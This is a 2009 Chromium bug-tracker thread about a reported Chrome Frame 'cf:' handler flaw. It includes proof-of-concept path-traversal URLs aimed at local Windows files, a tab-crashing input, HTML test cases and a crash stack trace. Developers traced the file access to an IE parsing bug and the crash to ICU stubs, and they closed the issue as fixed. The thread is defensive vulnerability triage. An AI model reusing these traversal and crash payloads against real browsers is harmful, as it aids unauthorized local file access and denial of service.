Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user
Status: Fixed
Owner: ----
Closed: Dec 2009
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 0
Type: Bug

  • Only users with Commit permission may comment.

Sign in to add a comment
Security: potential file:/// access via cf handler
Reported by, Nov 17 2009 Back to list
We got a private report from a security researcher indicating it's possible
to transition to file:/// via Chrome cf protocol handler. (His report below)

Sumit identified one problem in,
which does no additional checking for about locations, also noting that
Chrome code defines about scheme as "about" and not "about:" Is this
intended? See: static const char kAboutScheme[] = "about"; in

Hi David :

some more to test

cf:view-source:about@: does not crashing ...
cf:about@: => crashing the tab :D
crashing the tab

trasversal file access:

cf:about#:../../../../c:\windows\notepad.exe get the file
get the file
cf:document.write('cf:about#:../../../../c:\windows\notepad.exe get the file

Thnx for your time !!!!

Comment 1 by, Nov 17 2009
Comment 2 by, Nov 17 2009
Status: Assigned
Comment 3 by, Nov 17 2009
I have a test case for this here:
Also inserted below, please quickly tell me if this is correct.

If yes then then it's a bug in IE as demonstrated by case 3.

  Cross Domain Bug in Chrome Frame
    IE URL parsing bug
    <a href="cf:about#:../../../../c:/windows\notepad.exe"> 
      case 1: A traditional cf:about link
    <a href="'cf:about#:../../../../c:\\\windows/notepad.exe');">
      case 2: javascript window open of cf:about
    <a href="'foo:about#:../../../../c:\\\windows/notepad.exe');">
      case 3: javascript window open of foo:about

Comment 4 by, Nov 17 2009
I haven't been able to repro the crash as reported with 'cf:about@:'. Also verified that the bug happens if GCF is not loaded in IE process. Would 
be nice if someone could verify this with IE6/7/8 on a machine where GCF was never installed. The bug does not happen on IE8 on my win7 machine 
(GCF was never installed) but it does happen on another VM with IE8 (GCF was installed but unregistered).

Newer version of the test html that reproduces the bug with 'foo:' scheme:

  URL parsing bug
    IE URL parsing bug
    <a href="foo:about#:../../../../c:/windows\notepad.exe"> 
      case 1: Hacked foo:about link
    <a href="file:///c:/windows\notepad.exe"> 
      case 1: A traditional file: link
    <a href="'foo:about#:../../../../c:\\\windows/notepad.exe');">
      case 2: javascript window open of foo:about
    <a href="'foo:about#:../../../../c:\\\windows/notepad.exe');">
      case 3: javascript window open of foo:about

Comment 5 by, Nov 17 2009
I am able to consistently crash it using the given PoC. See case 4 below:

Here is the stack trace:
 # ChildEBP RetAddr  Args to Child              
00 01aff080 3300131f 01affad0 01affa48 00000004 
npchrome_tab!logging::LogMessage::~LogMessage(void)+0x1ec (CONV: thiscall) 
[c:\b\slave\chrome-frame-official\build\src\base\ @ 561]
01 01aff120 33031905 00000006 00000005 00000005 
npchrome_tab!url_canon::ReadUTFChar(wchar_t * str = 0x01aff150 "???", int * begin = 
0x01aff150, int length = 28307792, unsigned int * code_point = 0x01aff150)+0x3c 
(CONV: cdecl) [c:\b\slave\chrome-frame-official\build\src\chrome_frame\ @ 
02 01aff130 33032a46 01aff198 01affa48 00000006 
npchrome_tab!url_canon::AppendUTF8EscapedChar(wchar_t * str = 0x01aff178 "館Ư???", 
int * begin = 0x01aff178, int length = 28307832, class url_canon::CanonOutputT<char> 
* output = 0x01aff090)+0x8 (FPO: [0,2,1]) (CONV: cdecl) [c:\b\slave\chrome-frame-
official\build\src\googleurl\src\url_canon_internal.h @ 296]
03 01aff150 33031bf2 0279bd00 01aff198 01aff1f8 npchrome_tab!url_canon::`anonymous 
namespace'::DoScheme<wchar_t,wchar_t>(wchar_t * spec = 0x0279bd00 "about@:", struct 
url_parse::Component * scheme = 0x01aff198, class url_canon::CanonOutputT<char> * 
output = 0x00000001, struct url_parse::Component * out_scheme = 0x00000002)+0xac 
(CONV: cdecl) [c:\b\slave\chrome-frame-
official\build\src\googleurl\src\ @ 125]
04 01aff178 33030365 01aff1d8 01affa48 01affbd4 npchrome_tab!url_canon::`anonymous 
url_canon::URLComponentSource<wchar_t> * source = 0x01aff1d8, struct 
url_parse::Parsed * parsed = 0x33051c98, class url_canon::CanonOutputT<char> * output 
= 0x01affa48, struct url_parse::Parsed * new_parsed = 0x00000001)+0x1e (CONV: cdecl) 
[c:\b\slave\chrome-frame-official\build\src\googleurl\src\ @ 48]
05 01affa2c 3302ebe5 00000007 01affa48 01affad0 npchrome_tab!url_util::`anonymous 
namespace'::DoCanonicalize<wchar_t>(wchar_t * in_spec = 0x33051c98 "ᅢ???", int 
in_spec_len = 7, class url_canon::CharsetConverter * charset_converter = 0x01affa60, 
class url_canon::CanonOutputT<char> * output = 0x01affa48, struct url_parse::Parsed * 
output_parsed = 0x01affad0)+0x2ed (CONV: cdecl) [c:\b\slave\chrome-frame-
official\build\src\googleurl\src\ @ 217]
06 01affa60 330355b7 00000000 04d30228 01affc27 npchrome_tab!GURL::GURL(class 
std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> > * 
url_string = 0x00000002)+0x4c (CONV: thiscall) [c:\b\slave\chrome-frame-
official\build\src\googleurl\src\ @ 121]
07 01affb78 33017c31 00000000 04d30228 01affc28 npchrome_tab!IsValidUrlScheme(class 
std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> > * url = 
0x33051c98, bool is_privileged = false)+0x39 (CONV: cdecl) [c:\b\slave\chrome-frame-
official\build\src\chrome_frame\ @ 613]
08 01affbf4 33016f8c 04d30228 01affc28 01affc27 
std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> > * url = 
0x01affc28, bool * is_new_navigation = 0x33086848, bool * is_chrome_protocol = 
0x01affc27, class 
std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> > * 
parsed_url = 0x33051c98)+0x163 (CONV: thiscall) [c:\b\slave\chrome-frame-
official\build\src\chrome_frame\ @ 685]
09 01affc48 781664a5 04d30390 00000001 035471b0 
npchrome_tab!ChromeActiveDocument::Load(int fully_avalable = 1, struct IMoniker * 
moniker_name = 0x035471b0, struct IBindCtx * bind_context = 0x034da650, unsigned long 
mode = 0x12)+0x6c (CONV: stdcall) [c:\b\slave\chrome-frame-
official\build\src\chrome_frame\ @ 201]
0a 01affc90 78165f7c 00000000 04d30388 00000000 
urlmon!CBinding::ObjectPersistMnkLoad+0x2ba (FPO: [Non-Fpo])
0b 01affcfc 78167101 02fb8c78 01affd2c 3e1cd630 
urlmon!CBinding::InstantiateObject+0x1e7 (FPO: [Non-Fpo])
0c 01affd40 78166ff3 02fb8c78 00000000 00000000 
urlmon!CBinding::OnObjectAvailable+0x2be (FPO: [Non-Fpo])
0d 01affd6c 7813c48a 02fb8c78 00000006 00000000 
urlmon!CBinding::OnTransNotification+0x31c (FPO: [Non-Fpo])
0e 01affd9c 78138f97 00000000 0000000d 00000000 urlmon!CBinding::ReportData+0x77 
(FPO: [Non-Fpo])
0f 01affdbc 781382cf 02fba844 0000000d 00000000 urlmon!COInetProt::ReportData+0x6e 
(FPO: [Non-Fpo])
10 01affde4 7813821b 02fba670 00000006 0000000d 
urlmon!CTransaction::DispatchReport+0x33b (FPO: [Non-Fpo])
11 01affe10 78138137 02fba670 03590a18 00000000 
urlmon!CTransaction::DispatchPacket+0x31 (FPO: [Non-Fpo])
12 01affe30 7814f068 02fba670 00000000 01affeb0 
urlmon!CTransaction::OnINetCallback+0x92 (FPO: [Non-Fpo])
13 01affe48 7e418734 0035061a 00000465 00000000 urlmon!TransactionWndProc+0x28 (FPO: 
14 01affe74 7e418816 7814bcf1 0035061a 00000465 USER32!InternalCallWinProc+0x28
15 01affedc 7e4189cd 00000000 7814bcf1 0035061a USER32!UserCallWinProcCheckWow+0x150 
(FPO: [Non-Fpo])
16 01afff3c 7e418a10 01afff64 00000000 01afffb4 USER32!DispatchMessageWorker+0x306 
(FPO: [Non-Fpo])
17 01afff4c 3e25e70b 01afff64 0012e490 0012e5b8 USER32!DispatchMessageW+0xf (FPO: 
18 01afffb4 7c80b699 001a5110 0012e490 0012e5b8 
IEFRAME!CTabWindow::_TabWindowThreadProc+0x189 (FPO: [Non-Fpo])
19 01afffec 00000000 3e25e4d4 0019d0d8 00000000 kernel32!BaseThreadStart+0x37 (FPO: 

Comment 6 by, Nov 17 2009
This crash is in the stub implementation of ICU that we had previously. We no longer 
link with ICU stubs and that's why I can't repro this crash on the trunk. This should 
not happen on trunk.
Comment 7 by, Nov 18 2009
Thanks sumit for tracking this down. 

The crash is due to a deliberate CHECK(false) in icu_stubs that shouldn't be 

Is this now fixed?
(There are multiple issues noted here; I believe the crash is now fixed and the 
file:/// transition turned out to be an IE bug).

Comment 9 by, Dec 8 2009
Status: Fixed
Fixed with the latest version (the one without icu_stubs :).
Labels: -Restrict-View-SecurityTeam
Labels: SecSeverity-None
Labels: Type-Security
Project Member Comment 13 by, Oct 13 2012
Labels: Restrict-AddIssueComment-Commit
Owner: ----
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member Comment 14 by, Mar 10 2013
Labels: -SecSeverity-None -Type-Security Security-Severity-None Type-Bug-Security
Project Member Comment 15 by, Mar 21 2013
Labels: -Security-Severity-None Security_Severity-None
Labels: -Type-Bug-Security Type-Bug
Bulk unrestriction of Severity-none bugs.

Sign in to add a comment